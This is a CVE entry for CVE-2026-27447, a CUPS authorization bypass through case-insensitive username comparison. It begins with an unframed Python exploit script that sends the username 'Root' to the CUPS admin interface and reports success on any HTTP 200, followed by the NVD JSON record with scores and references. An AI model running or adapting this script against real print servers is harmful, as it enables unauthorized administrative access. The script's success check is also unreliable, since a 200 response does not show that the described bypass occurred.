CVE-2026-27447

import requests # Target CUPS administrative interface target_url = "http://127.0.0.1:631/admin" # Exploit: Use a username that differs only in case from the authorized user # If the admin user is 'root', using 'Root' may bypass the check username = "Root" password = "your_password" # Replace with actual or empty if not required try: # Sending request with case-varied username response = requests.get(target_url, auth=(username, password)) if response.status_code == 200: print("[+] Vulnerability Exploited Successfully!") print("[+] Access granted to restricted administrative functions.") else: print("[-] Exploit failed. Status code:", response.status_code) except Exception as e: print("Error:", e)

{"cve": {"id": "CVE-2026-27447", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:25.193", "lastModified": "2026-04-22T16:20:51.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, CUPS daemon (cupsd) contains an authorization bypass vulnerability due to case-insensitive username comparison during authorization checks. The vulnerability allows an unprivileged user to gain unauthorized access to restricted operations by using a user with a username that differs only in case from an authorized user. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.5, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/commit/88516bf6d9e34cef7a64a704b856b837f70cd220", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-v987-m8hp-phj9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}